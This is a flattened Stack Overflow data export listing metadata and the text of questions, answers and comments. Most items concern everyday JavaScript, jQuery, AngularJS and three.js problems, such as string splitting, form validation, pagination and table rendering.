has body: The goal is to split a string at the spaces but not split the text data that is in quotes or separate that from the adjacent text. The input is effectively a string that contains a list of value pairs. If the value value contains a space it is enclosed in quotes. I need a function that returns an array of value-pair elements as per the example below: Example Input: 'a:0 b:1 moo:"foo bar" c:2' Expected result: a:0,b:1,moo:foo bar,c:2 (An array of length 4) I have checked through a load of other questions but none of them (I found) seem to cope with my issue. Most seem to split at the space within the quotes or they split the 'moo:' and 'foo bar' into separate parts. Any assistance would be greatly appreciated, Craig
has comment: http://stackoverflow.com/comment/40104488
tagged with: javascript
tagged with: string
has comment: http://stackoverflow.com/comment/40104466
favorite count: 0
score: 8
has answer: http://stackoverflow.com/a/25666859
accepted answer: http://stackoverflow.com/a/25664054
linked to: http://stackoverflow.com/q/632475
possible better answer: http://stackoverflow.com/a/25663729
has answer: http://stackoverflow.com/a/25663729
tagged with: regex
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/62150217
has comment: http://stackoverflow.com/comment/113836918
has comment: http://stackoverflow.com/comment/40144741

http://stackoverflow.com/comment/39901087
type: Comment
type: QuestionComment
has text: As stated above the string is from a json file loaded through a httprequest. But because of security concerns from Mozilla (makes also sense to me) I need to make sure that the string really contains a regex and nothing else. If it would contain javascript instead of the regex, the js would be executed in the pac file.
score: 0
comment on: http://stackoverflow.com/q/25552695

http://stackoverflow.com/q/25629866
has title: Brain storming about some jQuery if statements
has comment: http://stackoverflow.com/comment/40043734
has body: I have three if statements. I need another if statement which is related with these three like this: If (these three if statements return true) { ajax send } else { do not send }. Also If you guys want to say your recommendations about my codes I'll be greatful. $(document).ready(function(){ $("#name").focusout(function() { var name = $('#name').val(); name = $.trim(name); if (name == '') { $('#arrow_box1').css({ "visibility": "visible" }); } else { $('#box1').css({ "visibility": "hidden" }); } }); $("#email").focusout(function() { var email = $('#email').val(); email = $.trim(email); var validateEmail = /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/; if (email == '' || !validateEmail.test(email)) { $('#box2').css({ "visibility": "visible" }); } else { $('#box2').css({ "visibility": "hidden" }); } }); $("#password").focusout(function() { var password = $('#password').val(); password = $.trim(password); var passlength = password.length; if (password == '' || passlength &lt; 6) { $('#box3').css({ "visibility": "visible" }); } else { $('#box3').css({ "visibility": "hidden" }); } }); $('#submit-btn').click(function(){ var loginform = $('#register-form').serialize(); $.ajax({ type: "POST", url: "ajax/ajaxregister.php", data: $('#register-form').serialize(), success: function(c) { if(c == "ok") { window.location.href = "homepage.php"; } else { alert('log in failed!'); } } }); }); });
score: -4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25630203
has comment: http://stackoverflow.com/comment/40044145
type: Question
downvote count: 4
has answer: http://stackoverflow.com/a/25630203
upvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
tagged with: ajax
has comment: http://stackoverflow.com/comment/40043623
favorite count: 0

http://stackoverflow.com/comment/40057729
comment on: http://stackoverflow.com/q/25637919
type: Comment
type: QuestionComment
score: 0
has text: can you provide a sample run for your expected output?

http://stackoverflow.com/a/25642592
has body: Are you sure your manifest is correct? Try correcting your manifest to match this { "name" : "Imageinfo", "version" : "1.0.1", "description" : "Get image info for images, including EXIF data", "manifest_version": 2, "icons" : { "16" : "imageinfo-16.png", "48" : "imageinfo-48.png", "128" : "imageinfo-128.png" }, "background": { "page": "background.html" }, "permissions": [ "contextMenus", "tabs", "http://*/*", "https://*/*" ], "web_accessible_resources": [ "jquery.js" ], "content_scripts": [ { "js": ["jquery.js"] } ] } You will need to create a background.html page which will have the following in its &lt;head&gt; tag &lt;script type="text/javascript" src="background.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="jquery.js"&gt;&lt;/script&gt;
type: Answer
answers question: http://stackoverflow.com/q/25642325
score: 0

http://stackoverflow.com/q/25680423
has title: how do I make searching/pagination reusable in my application?
has body: We decided to use server-side pagination in our application. The implementation is quite simple: suppose we have such a search action on the server side: [HttpGet] public ActionResult GetPeopleByName(String term, Int32 itemsPerPage = 10, Int32 page = 0) { var matches = this.people.Where(i =&gt; i.Name.Contains(term)); return Json( data: new { people = matches.Skip(itemsPerPage * page).Take(itemsPerPage).OrderBy(i =&gt; i.Name), total = matches.Count() }, behavior: JsonRequestBehavior.AllowGet ); } on the client we have a subscriptionHolderController: app.controller('subscriptionHolderController', ['$scope', '$http', function($scope, $http) { $scope.matches = []; $scope.itemsPerPage = 5; $scope.currentPage = 0; $scope.searchTerm = ''; // $scope.prevPage = function() { ... }; // $scope.prevPageDisabled = function() { ... }; // $scope.nextPage = function() { ... }; // $scope.nextPageDisabled = function() { ... }; $scope.pageCount = function() { return Math.ceil($scope.totalPages / $scope.itemsPerPage); }; $scope.$watch('currentPage', function() { $scope.search(); }); $scope.search = function() { if($scope.searchTerm === '') return; // initiate a GET-request with params: { page: $scope.currentPage, term: $scope.searchTerm, itemsPerPage: $scope.itemsPerPage } } $scope.matchesFound = function () { return $scope.matches.length &gt; 0; } }]); problem As the result we have a simple search-box. But our application requires one more type of search with some additional features, it doesn't use search terms and its resulting set should be paginated the same way as it is shown above. How do I reuse pagination logic for a different types of search?
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40245175
has comment: http://stackoverflow.com/comment/40244274
has comment: http://stackoverflow.com/comment/40226742
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25680846
has comment: http://stackoverflow.com/comment/40134681
type: Question
has comment: http://stackoverflow.com/comment/40244173
accepted answer: http://stackoverflow.com/a/25800400
tagged with: c#
tagged with: pagination
has answer: http://stackoverflow.com/a/26039517
tagged with: javascript
has answer: http://stackoverflow.com/a/25800400
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25680846

http://stackoverflow.com/comment/39959851
has text: Looks fine. Have you tried it? Off topic: Using the element type in your selector is unnecessary and reduces efficiency.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25584114
score: 0

http://stackoverflow.com/comment/39962859
score: 1
has text: try to add `dataType: "json"` in your ajaxsetup and see if that works
comment on: http://stackoverflow.com/q/25585385
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39991417
comment on: http://stackoverflow.com/q/25601549
type: Comment
type: QuestionComment
score: 2
has text: It's XML; escape your angle-brackets or put them in CDATA sections: `i < list.length`

http://stackoverflow.com/comment/40149943
comment on: http://stackoverflow.com/q/25684115
has text: Do you know what it does exactly?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40143359
score: 0
has text: Both setting breakpoints and using heap snapshots requires me to interact with the DevTools GUI. I'm looking to programmatically search through the information displayed in DevTools. For the app I'm working on, there are far too many objects for me to want to manually sift through heap deltas or click-and-expand through stacks.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25672346

http://stackoverflow.com/q/25702155
downvote count: 1
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: google-finance
has answer: http://stackoverflow.com/a/46454334
has comment: http://stackoverflow.com/comment/40174662
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40174595
linked to: http://stackoverflow.com/q/3076414
has title: Unable to data from Google Finance in string format through JavaScript
has answer: http://stackoverflow.com/a/25702268
type: Question
has body: function getData(){ $.get("http://www.google.com/finance/getprices?q=.NSEI&amp;x=NSE&amp;i=60&amp;p=1d&amp;f=d, o, h, l, c, v", function(data){ alert("Data:"+data); }); } getData(); The above URL gives response in string format and not in JSON format, so I can't use $.getJSON. I am able to get the data in Java, but using JavaScript, the data is not coming and the alert is not executed. How can I get data from external URL through $.get method?
score: 0
answer count: 2
upvote count: 1

http://stackoverflow.com/a/25587216
has body: Use nested appends like shown below. $('&lt;li&gt;') .append( $('&lt;p&gt;') .text('etc etc') .append(AGAIN-SOMETHING-ELSE) ) .append( $('&lt;button&gt;') .addClass("etc") .text('etcetc') ) .appendTo('body');
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25584373
score: 0
answers question: http://stackoverflow.com/q/25584373
type: Answer

http://stackoverflow.com/q/25618801
type: Question
has comment: http://stackoverflow.com/comment/40023832
has comment: http://stackoverflow.com/comment/40023086
accepted answer: http://stackoverflow.com/a/25619084
score: 0
has comment: http://stackoverflow.com/comment/40026543
has comment: http://stackoverflow.com/comment/40023643
answer count: 1
tagged with: angularjs-directive
tagged with: javascript
has body: As I know, ng-if recreates directive by compiled state of it. But if I have if/else condition in directive code that influences to compiled HTML, How can I recompile directive on ng-if's expression changed? Because compiling is doing after refreshing a page. If I refresh a page and get one compiled state and after (without refreshing page) change logged flag, that there in ng-if expression, compiled state must be other, but It's not. For example: &lt;directive-one ng-if="logged"&gt;&lt;/directive-one&gt; I have 2 variants of compiled state of this directive: have cart items and haven't (empty table). If I refresh page and was be logged - all are nice. If I logout - directive destroy, If I login again - directive will recreates again with logged compiled state. But if I refresh page and was be logouted - compiled state everytime I loging or logout will be "haven't cart items". Because the compiled state at moment on refreshing the page was "haven't cart items"... Directive code: http://pastebin.com/KpCHwpcc
has comment: http://stackoverflow.com/comment/40025058
has comment: http://stackoverflow.com/comment/40023460
has comment: http://stackoverflow.com/comment/40023551
has comment: http://stackoverflow.com/comment/40023036
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25619084
has title: Angular ng-if doesnt recompile directive
has comment: http://stackoverflow.com/comment/40023262
has comment: http://stackoverflow.com/comment/40024967
tagged with: angularjs

http://stackoverflow.com/a/28724319
has body: As @ubaltaci pointed, there is not built in way. However there is a hapi plugin in development hapi-negotiator build on top of module Negotiator. Haven't time to try it yet, but will do soon. (I'll update my answer then)
score: 1
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25705050
upvote count: 1

http://stackoverflow.com/comment/39928047
has text: Have you looked at this question [Sending POST data with a XMLHttpRequest](http://stackoverflow.com/questions/9713058/sending-post-data-with-a-xmlhttprequest)
comment on: http://stackoverflow.com/q/25567265
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40149383
type: Comment
has text: It's not the type of file that causes the difficulty. It is because the CSV file is on the server, but the JavaScript will be running on your local machine. You require AJAX to fetch the file from the server, regardless of the format of the file.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25684705

http://stackoverflow.com/q/25613877
has title: How to rebind the removed event of an anchor tag
has body: I am unbinding the event based on the condition, once if the condition is true I am using jQuery off method when condition is false I need to bind the click event for anchor. I tried the below code but I am unable to achieve it. **Code : ** $('select').change(function(){ if($(this).val()=='mas'){ alert("inside"); $("#lnk").off('click'); }else { alert('else'); $("#lnk").on('click','.add'); } }); $("a").on('click',function(){ alert('Iam clciked'); }); HTML: Seect Ind mas Go **Fiddler Link : ** // http://jsfiddle.net/md5psv28/
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25613945
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25613942
tagged with: jquery

http://stackoverflow.com/q/25645163
has title: How do I convert String to Number according to locale (opposite of .toLocaleString)?
score: 70
has answer: http://stackoverflow.com/a/62694190
has answer: http://stackoverflow.com/a/25649738
answer count: 8
has answer: http://stackoverflow.com/a/38822356
has answer: http://stackoverflow.com/a/25928487
has answer: http://stackoverflow.com/a/79254845
type: Question
has comment: http://stackoverflow.com/comment/40071011
has comment: http://stackoverflow.com/comment/40071058
downvote count: 0
has answer: http://stackoverflow.com/a/26016814
has body: If I do: var number = 3500; alert(number.toLocaleString("hi-IN")); I will get ३,५०० in Hindi. But how can I convert it back to 3500. I want something like: var str='३,५००'; alert(str.toLocaleNumber("en-US")); So, that it can give 3500. Is it possible by javascript or jquery?
tagged with: javascript
has comment: http://stackoverflow.com/comment/40071056
linked to: http://stackoverflow.com/q/17024985
has comment: http://stackoverflow.com/comment/124577369
tagged with: number-formatting
upvote count: 70
favorite count: 0
has answer: http://stackoverflow.com/a/62708631
has comment: http://stackoverflow.com/comment/124363163
has comment: http://stackoverflow.com/comment/40074900
has comment: http://stackoverflow.com/comment/40071328
tagged with: parsing
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/57244207

http://stackoverflow.com/q/25609031
tagged with: three.js
has title: BufferGeometry MeshFaceMaterial implementation r68
type: Question
has body: We recently switched to r68 and are moving all our geometries to THREE.BufferGeometry. We were using THREE.MeshFaceMaterial in a lot of places and according to BufferGeometry faces materials THREE.BufferGeometry does not support it. The solution seems to be to create multiple meshes, I tried this but it doesn't seem to work and I don't get any errors. My approach is as follows: var oldGeometry = ... // THREE.Geometry from our loader var materials = ... // Material array from our loader, uses lightmaps, normalmaps etc. var bufferGeometry = new THREE.BufferGeometry(); var geometry = bufferGeometry.fromGeometry(oldGeometry); var group = new THREE.Object3D(); materials.forEach(function(material){ group.add(new THREE.Mesh(geometry, material)); }); geometry.attributes.uv = geometry.attributes.uvs; This works fine without errors, but when rendered, all the lightmaps etc don't seem to work, the geometry looks fine but has just one color. Any hints on how to implement this properly? Edit: UV issue: https://github.com/mrdoob/three.js/issues/5118 Edit 2: After digging through the WebGLRenderer Source Code, I think implementing this is a lot more work then it's worth it right now. We will stick with the old geometry for now, but I'm still open for suggestions ;) Edit 3: A basic way to to do this yourself can be found here: https://github.com/mrdoob/three.js/issues/5268 There is work being done here https://github.com/mrdoob/three.js/issues/5417 to improve the three.js exporter, e.g. exporting buffergeometries with multiple materials.
tagged with: buffer-geometry
tagged with: javascript
has answer: http://stackoverflow.com/a/25613354
score: 0
answer count: 1
linked to: http://stackoverflow.com/q/15752173
type: UnansweredQuestion

http://stackoverflow.com/q/25558964
score: 0
has answer: http://stackoverflow.com/a/25559067
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39912687
type: AnsweredQuestion
has body: I have this webapp which is fed by customers with the reviews of the products they select a radio option with the stars they give to the products which are 1 to 5, and I want that the value to be replaced for a selected image for each value. the output of the radio its just a text on a div I called "reviews-adh" it goes like this 3 and I have this jsfiddle that it replaces the value of 5 but I need to make it to replace the values from 1 to 5 for any image I input the URL of the image like in the jsfiddle example.
has comment: http://stackoverflow.com/comment/39936289
tagged with: image
tagged with: replace
type: Question
has title: change radio selection value to image
accepted answer: http://stackoverflow.com/a/25559067
answer count: 1
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/31127387
downvote count: 0
has body: You can simply use this bootstrap helper to dialogs (only 5 kB) it has support for ajax request, iframes, common dialogs, confirm and prompt! you can use it as: eModal.iframe('http://someUrl.com', 'This is a tile for iframe', callbackIfNeeded); eModal.alert('The message', 'This title'); eModal.ajax('/mypage.html', 'This is a ajax', callbackIfNeeded); eModal.confirm('the question', 'The title', theMandatoryCallback); eModal.prompt('Form question', 'This is a ajax', theMandatoryCallback); this provide a loading progress while loading the iframe! No html required. You can use a object literal as parameter to extra options. Check the site form more details. best,
type: Answer
score: 6
upvote count: 6
answers question: http://stackoverflow.com/q/25565716

http://stackoverflow.com/comment/40036203
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25615477
has text: have you set an endpoint with /postEmail at the server end?just like what i have in the answer?

http://stackoverflow.com/q/25629828
answer count: 1
has comment: http://stackoverflow.com/comment/40043663
has comment: http://stackoverflow.com/comment/40043444
favorite count: 0
has comment: http://stackoverflow.com/comment/40043464
has body: see the below fiddle link. after clicking on green button of "phone 1" section I need to focus the input with green button of "phone 2" section. is it possible? help me. see this jsfiddle JS (function ($) { $(function () { var addFormGroup = function (event) { event.preventDefault(); var $formGroup = $(this).closest('.form-group'); var $multipleFormGroup = $formGroup.closest('.multiple-form-group'); var $formGroupClone = $formGroup.clone(); $formGroup.find('input[type=radio]').attr('disabled', 'true') $(this).toggleClass('btn-success btn-add btn-danger btn-remove').html(''); $formGroupClone.find('input').val(''); $formGroupClone.find('.concept').text('Phone'); $formGroupClone.insertAfter($formGroup); var $lastFormGroupLast = $multipleFormGroup.find('.form-group:last'); if ($multipleFormGroup.data('max') <= countFormGroup($multipleFormGroup)) { $lastFormGroupLast.find('.btn-add').attr('disabled', true); } }; var removeFormGroup = function (event) { event.preventDefault(); var $formGroup = $(this).closest('.form-group'); var $multipleFormGroup = $formGroup.closest('.multiple-form-group'); var $lastFormGroupLast = $multipleFormGroup.find('.form-group:last'); if ($multipleFormGroup.data('max') >= countFormGroup($multipleFormGroup)) { $lastFormGroupLast.find('.btn-add').attr('disabled', false); } $formGroup.remove(); }; var selectFormGroup = function (event) { // event.preventDefault(); // var $selectGroup = $(this).closest('.input-group-select'); // var param = $(this).attr("href").replace("#",""); // var concept = $(this).text(); // $selectGroup.find('.concept').text(concept); // $selectGroup.find('.input-group-select-val').val(param); } var countFormGroup = function ($form) { return $form.find('.form-group').length; }; $(document).on('click', '.btn-add', addFormGroup); $(document).on('click', '.btn-remove', removeFormGroup); $(document).on('click', '.dropdown-menu a', selectFormGroup); }); })(jQuery); HTML phone 1 Mobile Phone Work phone 2 Mobile Phone Work
tagged with: twitter-bootstrap
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40043546
tagged with: dynamic
has comment: http://stackoverflow.com/comment/40043784
score: -1
type: Question
upvote count: 2
has title: when a button will clicked an input field will auto focus
has comment: http://stackoverflow.com/comment/40043523
has answer: http://stackoverflow.com/a/25630081
accepted answer: http://stackoverflow.com/a/25630081
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40043516
has comment: http://stackoverflow.com/comment/40043858
downvote count: 3

http://stackoverflow.com/comment/40304482
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25709983
score: 0
has text: hey @casey, this is the full Chart.Bar.js file (the one you need to replace). http://pastebin.com/G2Rf0BBn, Ive highlighted the line that makes the diffrence. note that at the buttom theres a function that returns diffrent color from an array according to the index "i". the dataset remains the same (like the one in the question). I hope it helped you.

http://stackoverflow.com/comment/40124388
type: QuestionComment
comment on: http://stackoverflow.com/q/25674668
has text: `alert($('input,textarea', this).val());`
score: 0
type: Comment

http://stackoverflow.com/a/25682472
answers question: http://stackoverflow.com/q/25681595
has body: Change your html like this (empty) Heading 1 Heading 2 Heading A content for 1 and A content for 2 and A Heading B content for 1 and B content for 2 and B Heading C content for 1 and C content for 2 and C And call this function function Swap(){ var t= document.getElementsByTagName('tbody')[0], r= t.getElementsByTagName('tr'), cols= r.length, rows= r[0].getElementsByTagName('td').length, cell, next, tem, i= 0, tbod= document.createElement('tbody'); while(i<rows){ cell= 0; tem= document.createElement('tr'); while(cell<cols){ next= r[cell++].getElementsByTagName('td')[0]; tem.appendChild(next); } tbod.appendChild(tem); ++i; } t.parentNode.replaceChild(tbod, t); } Test it here
accepted answer of: http://stackoverflow.com/q/25681595
upvote count: 2
type: AcceptedAnswer
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/39977355
type: Comment
comment on: http://stackoverflow.com/a/25591700
type: AnswerComment
has text: Missed that the ID hadn't been applied to the iframe, thanks!
score: 0

http://stackoverflow.com/comment/39910551
score: 0
type: AnswerComment
type: Comment
has text: Yeah, the scope is tricky to figure out, hence the need to save the attr too. Good luck!
comment on: http://stackoverflow.com/a/25557813

http://stackoverflow.com/a/25689929
downvote count: 2
upvote count: 1
has body: I don't really know if this helps, but based on some experience, IE doesn't work well when you have a "," after the last array element, like you have in: $(function(){ $("#last_news ul").cycle({ fx:'fade', speed: 1500, timeout: 5000, pager: '#pager', }) })
has comment: http://stackoverflow.com/comment/40151963
score: -1
has comment: http://stackoverflow.com/comment/40151951
type: Answer
answers question: http://stackoverflow.com/q/25628746

http://stackoverflow.com/q/25626594
answer count: 1
downvote count: 0
favorite count: 0
upvote count: 2
has title: Launch VBScript from HTA and pass variables
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/25626870
type: Question
tagged with: hta
tagged with: javascript
has body: I'm fairly new to javascript and HTAs but here's what I have so far: Create Drive <HTA:APPLICATION APPLICATIONNAME="CreateDrive" VERSION="1.0" SINGLEINSTANCE="yes"/> User Name: First Name: Last Name: My goal is to use this HTA to create network drives for new user accounts. Previously, to accomplish this, a .bat was used that referenced a VBScript and the user entered three values (user, first, and last name) which were passed along to the .vbs and created the drive: cscript /nologo newdrive.vbs q:\users\%1 /DFS:yes /server:server1 /server2:server2 /userfirstname:%2 /userlastname:%3 /quiet:no I would like to access this VBScript directly from my HTA and pass the values of UN, FN, and LN. I'm currently saving the values entered into a text file, but I appreciate any info on completing this a better way. Thanks for your assistance.
tagged with: vbscript
accepted answer: http://stackoverflow.com/a/25626870

http://stackoverflow.com/comment/39995046
comment on: http://stackoverflow.com/a/25602959
has text: I am using cell editing for a grid in Ext JS. I want to edit the cell by manually calling the startEdit method, rather than through clicks. How can I disable editor from being editable through clicks. I have a check column which will only allow editing of a particular column.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/40056640
comment on: http://stackoverflow.com/q/25637291
type: QuestionComment
type: Comment
has text: http://stackoverflow.com/questions/5316697/jquery-return-data-after-ajax-call-success
score: 0

http://stackoverflow.com/comment/40042011
type: Comment
has text: but my C code is working and output is correct on str variable
comment on: http://stackoverflow.com/a/25629106
type: AnswerComment
score: 0

http://stackoverflow.com/a/25558083
accepted answer of: http://stackoverflow.com/q/25557899
has comment: http://stackoverflow.com/comment/39913559
upvote count: 1
answers question: http://stackoverflow.com/q/25557899
has body: You're calling the functions and comparing their return values, not the functions themselves. To refer to the functions themselves, use the name without () after it. var x = new Foo2("Peter", "Pan"); var y = new Foo2("Peter", "English"); console.log(x.show() === y.show()); // true console.log(x.show === y.show); // false
type: Answer
downvote count: 0
score: 1
type: AcceptedAnswer

http://stackoverflow.com/a/25621182
answers question: http://stackoverflow.com/q/25621008
score: 0
type: Answer
has body: Add onkeypress on your form: &lt;form .. onkeypress="return myEvent(event)"&gt; &lt;input type="radio" id="myRadio"&gt; Than add Javascript &lt;script type="text/javascript"&gt; function myEvent(e) { e = e || window.event; var key = e.keyCode || e.charCode; if (key === 13) { // enter down document.getElementById('myRadio').checked = true; return false; // prevent form post on enter } return true; } &lt;/script&gt; I think the code above should work, because I have very similar code to prevent form post on Enter press.

ipad
tags question: http://stackoverflow.com/q/25560692
tag name: ipad
tags question: http://stackoverflow.com/q/25604088
tags question: http://stackoverflow.com/q/25568869
tags question: http://stackoverflow.com/q/25658046
type: Tag

http://stackoverflow.com/comment/40223868
comment on: http://stackoverflow.com/a/25703561
score: 0
type: AnswerComment
type: Comment
has text: I personally think no words are inappropriate enough to justify scrubbing.

http://stackoverflow.com/comment/39980785
type: Comment
has text: I'll remove that part in the interim.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25595485

http://stackoverflow.com/a/25573911
has body: Process the JSON data in a loop and add tables dynamically instead of relying on static elements (inject the table element instead of putting it in the html). (If you don't care about the other tables, just grab the first index and pass it through your rendering routine instead of looping.) Here is an example fiddle that dynamically renders multiple tables using your JSON example response: http://jsfiddle.net/6wdksrkp/2/ And the code solution for you: $.getJSON("path/taken/out/for/SO", function(tables) { // this is the ajax callback code, goes inside your ajax function if (tables) { for (var i = 0, len = tables.length; i < len; i++) { RenderTable(tables[i]); } } } function RenderTable(tableDef) { // create table element template dynamically as a fragment before adding to DOM var $tbl = $(" "); // wrap the table in a div (for styling and identification) $tbl.wrap(" "); // render the table name before the table element var a = tableDef; $.each(a, function (e, c) { for (var f = 0; f < c.tableDetails.length; f++) { $tbl.before(c.tableDetails[f].Name); } }); // render column headers in THEAD $.each(a, function (e, c) { for (var f = 0; f < c.headers.length; f++) { $tbl.children("thead").append(' ' + c.headers[f].Header1 + ' ' + c.headers[f].Header2 + ' ' + c.headers[f].Header3 + ' ' + c.headers[f].Header4 + ' ' + c.headers[f].Header5 + " "); } }); // render the columns' data in TBODY $.each(a, function (e, c) { for (var f = 0; f < c.columns.length; f++) { $tbl.children("tbody").append(" " + c.columns[f].PersonalLoans + " " + c.columns[f].LoanAmount + " " + c.columns[f].Fee + " " + c.columns[f].APR + " " + c.columns[f].Calculator + " "); } }); // update rate disclosure $.each(a, function (e, c) { for (var f = 0; f < c.tableDetails.length; f++) { $("p.rateDisclosure").append(c.tableDetails[f].disclosure); } }); // inject the table fragment into the DOM (thus showing the table) $(document.body).append($tbl); }
type: Answer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25573781
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39941633
downvote count: 0
answers question: http://stackoverflow.com/q/25573781

http://stackoverflow.com/comment/40192023
has text: Yes, I found the issue for header, I should have used req.headers['token'] instead of req.headers['Token']. What I can't found out how to access till now is data being sent. Tried accessing them using req.body.name or req.body.email_address but with no luck. Any thoughts on accessing data? Thanks
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25711452
score: 0

http://stackoverflow.com/comment/118869416
has text: This should be `Math.sqrt(-2*Math.log(1-Math.random()))*Math.cos(2*Math.PI*Math.random())` so you have never a zero value inside the `log`.
type: Comment
comment on: http://stackoverflow.com/a/40097920
type: AnswerComment
score: 2

http://stackoverflow.com/q/25597089
score: 1
has answer: http://stackoverflow.com/a/25610554
linked to: http://stackoverflow.com/q/18206345
has title: Simple example (DataTables package) works on JSFiddle but not locally
type: Question
possible better answer: http://stackoverflow.com/a/25598200
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39983911
has answer: http://stackoverflow.com/a/25598200
tagged with: javascript
answer count: 2
upvote count: 1
linked to: http://stackoverflow.com/q/23222554
has comment: http://stackoverflow.com/comment/40007839
tagged with: datatables
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/39983652
linked to: http://stackoverflow.com/q/24837595
accepted answer: http://stackoverflow.com/a/25610554
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has body: I'm trying to run a simple example using the DataTables package. For some reason, my code runs on JSFiddle, but does not work locally (the buttons to export to CSV, etc. do not work). Why could this be? Here's the JSFiddle in question: http://jsfiddle.net/9jf2k53p/ And the code: Name Position Office Age Start date Salary Name Position Office Age Start date Salary Tiger Nixon System Architect Edinburgh 61 2011/04/25 $320,800 Garrett Winters Accountant Tokyo 63 2011/07/25 $170,750 Ashton Cox Junior Technical Author San Francisco 66 2009/01/12 $86,000 Cedric Kelly Senior Javascript Developer Edinburgh 22 2012/03/29 $433,060 Airi Satou Accountant Tokyo 33 2008/11/28 $162,700 Brielle Williamson Integration Specialist New York 61 2012/12/02 $372,000 Herrod Chandler Sales Assistant San Francisco 59 2012/08/06 $137,500 Rhona Davidson Integration Specialist Tokyo 55 2010/10/14 $327,900 Colleen Hurst Javascript Developer San Francisco 39 2009/09/15 $205,500 Sonya Frost Software Engineer Edinburgh 23 2008/12/13 $103,600 Jena Gaines Office Manager London 30 2008/12/19 $90,560 Quinn Flynn Support Lead Edinburgh 22 2013/03/03 $342,000 Charde Marshall Regional Director San Francisco 36 2008/10/16 $470,600 Haley Kennedy Senior Marketing Designer London 43 2012/12/18 $313,500 Tatyana Fitzpatrick Regional Director London 19 2010/03/17 $385,750 Michael Silva Marketing Designer London 66 2012/11/27 $198,500 Paul Byrd Chief Financial Officer (CFO) New York 64 2010/06/09 $725,000 Gloria Little Systems Administrator New York 59 2009/04/10 $237,500 Bradley Greer Software Engineer London 41 2012/10/13 $132,000 Dai Rios Personnel Lead Edinburgh 35 2012/09/26 $217,500 Jenette Caldwell Development Lead New York 30 2011/09/03 $345,000 Yuri Berry Chief Marketing Officer (CMO) New York 40 2009/06/25 $675,000 Caesar Vance Pre-Sales Support New York 21 2011/12/12 $106,450 Doris Wilder Sales Assistant Sidney 23 2010/09/20 $85,600 Angelica Ramos Chief Executive Officer (CEO) London 47 2009/10/09 $1,2…
downvote count: 0

http://stackoverflow.com/q/25551656
has answer: http://stackoverflow.com/a/25552795
tagged with: javascript
score: 0
answer count: 1
tagged with: jquery
has comment: http://stackoverflow.com/comment/39900443
has comment: http://stackoverflow.com/comment/39899423
type: UnansweredQuestion
has title: Using jQuery flip, can't get revert flip to fire
has body: Morning! The following is (I know not the best) jQuery code using the Flip! jQuery plugin. The original flip fires fine, but the revert flip will not function for the life of me. I've tried tons of different things, but no success. This is what I currently have. Any help will be greatly appreciated! $('.flip1').bind("click",function(){ var elem = $(".toflip"); if(elem.data('flipped')){ elem.revertFlip(); elem.data('flipped',false) } else { elem.flip({ direction:'lr', dontChangeColor: true, onBefore: function(){ elem.html(elem.siblings('#flip1Data').html()); } }); elem.data('flipped',true); } }); $('.flip2').bind("click",function(){ var elem = $(".toflip"); if(elem.data('flipped')){ elem.revertFlip(); elem.data('flipped',false) } else { elem.flip({ direction:'lr', dontChangeColor: true, onBefore: function(){ elem.html(elem.siblings('#flip2Data').html()); } }); elem.data('flipped',true); } }); $("#flip1back").bind("click",function(){ $('.toflip').revertFlip(); return false; }); $("#flip2back").bind("click",function(){ $('.toflip').revertFlip(); return false; });
type: Question

http://stackoverflow.com/q/25620486
has comment: http://stackoverflow.com/comment/40083075
upvote count: 4
has answer: http://stackoverflow.com/a/25663431
downvote count: 0
has comment: http://stackoverflow.com/comment/40103521
has comment: http://stackoverflow.com/comment/40038727
favorite count: 0
tagged with: angularjs
answer count: 5
type: AnsweredQuestion
has title: Protractor - Selecting Text
accepted answer: http://stackoverflow.com/a/25663431
tagged with: selenium
has answer: http://stackoverflow.com/a/36456731
tagged with: webdriver
has answer: http://stackoverflow.com/a/65477389
has answer: http://stackoverflow.com/a/25628929
type: Question
tagged with: protractor
possible better answer: http://stackoverflow.com/a/34023809
has comment: http://stackoverflow.com/comment/40062974
has answer: http://stackoverflow.com/a/34023809
tagged with: javascript
score: 4
